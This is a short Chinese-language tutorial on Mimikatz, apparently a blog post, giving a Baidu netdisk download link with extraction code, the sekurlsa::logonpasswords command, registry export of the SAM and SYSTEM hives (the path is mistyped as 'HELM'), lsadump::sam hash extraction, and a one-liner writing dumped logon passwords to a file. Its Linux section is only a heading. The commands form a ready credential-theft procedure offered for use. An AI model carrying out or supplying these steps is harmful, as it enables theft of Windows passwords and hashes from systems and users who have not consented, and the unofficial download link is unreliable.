Mimikatz Windows、Linux基本使用

一、前言：

Mimikatz 一款密码抓取抓取神器，除了抓取密码之外，听说还可以导出谷歌浏览器的密码，当然第二种我也不会

二、Mimikatz下载

百度网盘：

链接：https://pan.baidu.com/s/166t4E-SfvHyDwuxlfq6wTw

提取码：3azc

Github:

https://github.com/gentilkiwi/mimikatz

三、Mimikatz基本用法

   mimikatz # log

   mimikatz # privilege::debug

   mimikatz # sekurlsa::logonpasswords

    Windows使用方法

    抓取本地SAM文件中的密码从注册表中导出

    Reg save HELM/System sys.hiv //获取System注册表信息，导出为sys.hiv

    Reg save HELM/SAM sam.hiv    //获取Sam注册表信息，导出为Sam.hiv

   

    用Mimikatz解密sam、sys这俩个文件

    Privilege::debug //提升权限

    lsadump::sam /sam:sam.hiv /system:sys.hiv //运行

利用powershell执行

Mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” exit > 1.txt

Linux基本使用方法